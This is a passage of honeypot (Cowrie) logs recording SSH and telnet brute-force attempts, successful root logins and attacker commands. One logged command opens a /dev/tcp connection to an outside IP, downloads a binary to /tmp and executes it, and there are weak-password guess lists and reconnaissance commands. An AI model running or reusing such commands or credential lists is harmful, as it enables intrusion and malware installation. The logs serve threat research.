56-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:36.038818Z","src_ip":"159.203.92.129","session":"101f364c3874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"2019","password":"2019","message":"login attempt [2019/2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:36.050341Z","src_ip":"159.203.92.129","session":"101f364c3874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:37.057443Z","src_ip":"159.203.92.129","session":"101f364c3874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:38.707239Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567","message":"login attempt [root/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:39.986132Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:42.767815Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:44.113249Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:49:53.410420Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:00.795645Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"666666","message":"login attempt [root/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:06.968618Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60190,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac15d2cdb0fa","protocol":"ssh","message":"New connection: 159.203.92.129:60190 (159.203.135.109:22) [session: ac15d2cdb0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:20.700593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:20.705201Z","src_ip":"159.203.92.129","session":"ac15d2cdb0fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:20.710072Z","src_ip":"159.203.92.129","session":"ac15d2cdb0fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"2","password":"123","message":"login attempt [2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:20.722862Z","src_ip":"159.203.92.129","session":"ac15d2cdb0fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"888888","message":"login attempt [root/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:21.067173Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:21.730472Z","src_ip":"159.203.92.129","session":"ac15d2cdb0fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"654321","message":"login attempt [root/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:26.534034Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00240135192871,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:28.807350Z","src_ip":"67.128.120.127","session":"ce10382ba0a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.128.120.127","src_port":59246,"dst_ip":"159.203.135.109","dst_port":23,"session":"371727812a1d","protocol":"telnet","message":"New connection: 67.128.120.127:59246 (159.203.135.109:23) [session: 371727812a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:29.088111Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:31.390856Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:34.126400Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /bin/echo","message":"CMD: cat /bin/echo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:34.129457Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00259280204773,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:37.740191Z","src_ip":"67.128.120.127","session":"a77d3ace8907","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.128.120.127","src_port":59594,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6003e191ea2","protocol":"telnet","message":"New connection: 67.128.120.127:59594 (159.203.135.109:23) [session: c6003e191ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:38.027528Z"}
{"eventid":"cowrie.command.input","input":"nohup bash -c \"exec 6<>/dev/tcp/47.243.189.23/60148 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/V5YFhYBvUH && chmod +x /tmp/V5YFhYBvUH && /tmp/V5YFhYBvUH u2fO4MTz5GKJbucwLjvsZZFh4fXS985w1MhzyPnb8+B/lW3sMzY57m2SceTyxO7DacLJac3n0PfgYJZo/zEuO+5viWng79vlyn3MynbO58r153+QafE4ODrxbpRg6vfa5shx2s501O7T7+hjiW7nOTo/726UZfD13fnIc8jUfsn53/TqZ5du7jAgOO5oiWDl98Tly37UznPA4drw4WeHa+gnMjrmcZd/4vTe7cx3y8h32uPd7+JllXHoOy4w6WWRYeHx2vfOdNTDftTg0+/iYJ5l6TkxPe9/lWHj79/g1HbKw2nI5t775mGWbuspOCftbp9/4fbb+ctzzMBxyubZ8fBglmnxODY78W2WZ/7z2OTAccrLd8v30u/iYJdx5zkuOO1vnWfg8N7n2nPJ1H7D+dz3/mOSZek5MTvuf5Ni/vjT+c1+1Mh2w+3c8eFll3/rOi4w5nGfYv722u3Md8vLcNrj3e/iZZVx7jswJ+1tlGvm8dvlz2fOzWnI49nv4Wmece06Oj/vbpNp8PXd+chzyNRzzfnb9uBrkW/uOTkp62iJY+TzxODIacPMfczn2/HgcZNs8TA5J+dtiWDo8dDhynbJzmfC+djw53+TaPE7NDHlaZdg4PjK48xpyMp11Obe8f5gn23lPzA47GyHZefv3eHUdsLJacvk2/vmYZZt6SkyOexxkmb+8Nru1HXLzn3M59vw5HGfce04OCfubolj5PDQ4cp2ycpny+fb7+FilXHtOzIn62udZ+Dw2+Tac83UdcnuxPH+Y5Jr5T8wOO1vYPQC9TKowkphCdGrSKIOVsYbEmnYIvizml1E\" &","message":"CMD: nohup bash -c \"exec 6<>/dev/tcp/47.243.189.23/60148 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/V5YFhYBvUH && chmod +x /tmp/V5YFhYBvUH && /tmp/V5YFhYBvUH u2fO4MTz5GKJbucwLjvsZZFh4fXS985w1MhzyPnb8+B/lW3sMzY57m2SceTyxO7DacLJac3n0PfgYJZo/zEuO+5viWng79vlyn3MynbO58r153+QafE4ODrxbpRg6vfa5shx2s501O7T7+hjiW7nOTo/726UZfD13fnIc8jUfsn53/TqZ5du7jAgOO5oiWDl98Tly37UznPA4drw4WeHa+gnMjrmcZd/4vTe7cx3y8h32uPd7+JllXHoOy4w6WWRYeHx2vfOdNTDftTg0+/iYJ5l6TkxPe9/lWHj79/g1HbKw2nI5t775mGWbuspOCftbp9/4fbb+ctzzMBxyubZ8fBglmnxODY78W2WZ/7z2OTAccrLd8v30u/iYJdx5zkuOO1vnWfg8N7n2nPJ1H7D+dz3/mOSZek5MTvuf5Ni/vjT+c1+1Mh2w+3c8eFll3/rOi4w5nGfYv722u3Md8vLcNrj3e/iZZVx7jswJ+1tlGvm8dvlz2fOzWnI49nv4Wmece06Oj/vbpNp8PXd+chzyNRzzfnb9uBrkW/uOTkp62iJY+TzxODIacPMfczn2/HgcZNs8TA5J+dtiWDo8dDhynbJzmfC+djw53+TaPE7NDHlaZdg4PjK48xpyMp11Obe8f5gn23lPzA47GyHZefv3eHUdsLJacvk2/vmYZZt6SkyOexxkmb+8Nru1HXLzn3M59vw5HGfce04OCfubolj5PDQ4cp2ycpny+fb7+FilXHtOzIn62udZ+Dw2+Tac83UdcnuxPH+Y5Jr5T8wOO1vYPQC9TKowkphCdGrSKIOVsYbEmnYIvizml1E\" &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:40.453613Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -c 1458464 > /tmp/VLsWQ2dmwE","message":"CMD: head -c 1458464 > /tmp/VLsWQ2dmwE","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:40.460110Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /bin/echoQtd#UPX!","message":"CMD: cat /bin/echoQtd#UPX!","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:40.738619Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":">yoA@/;'8ELFP;i2","message":"CMD: >yoA@/;'8ELFP;i2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:40.744689Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:40.749696Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/9d031d4b5c40006ca27c35d981a23058b72cadae022a02bd464b5e9e19007245","size":3253,"shasum":"9d031d4b5c40006ca27c35d981a23058b72cadae022a02bd464b5e9e19007245","duplicate":false,"duration":"6.6","message":"Closing TTY Log: var/lib/cowrie/tty/9d031d4b5c40006ca27c35d981a23058b72cadae022a02bd464b5e9e19007245 after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:40.753090Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"83.9","message":"Connection lost after 83.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:50:40.781178Z","src_ip":"116.162.216.223","session":"207760c8c8d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.140.161.61","src_port":43002,"dst_ip":"159.203.135.109","dst_port":22,"session":"c55810b11582","protocol":"ssh","message":"New connection: 115.140.161.61:43002 (159.203.135.109:22) [session: c55810b11582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:03.025631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:03.029640Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:03.240839Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:04.306098Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45824,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1fffd96d2e0","protocol":"ssh","message":"New connection: 159.203.92.129:45824 (159.203.135.109:22) [session: e1fffd96d2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:04.520534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:04.524974Z","src_ip":"159.203.92.129","session":"e1fffd96d2e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:04.528637Z","src_ip":"159.203.92.129","session":"e1fffd96d2e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"2","password":"123456","message":"login attempt [2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:04.539452Z","src_ip":"159.203.92.129","session":"e1fffd96d2e0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:05.518473Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:05.546663Z","src_ip":"159.203.92.129","session":"e1fffd96d2e0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:05.981368Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:05.984820Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:05.987836Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:06.208661Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:06.669717Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:06.672849Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:06.886560Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:07.343646Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:07.346627Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:07.560867Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:08.010495Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:51:08.012769Z","src_ip":"115.140.161.61","session":"c55810b11582","protocol":"ssh"}
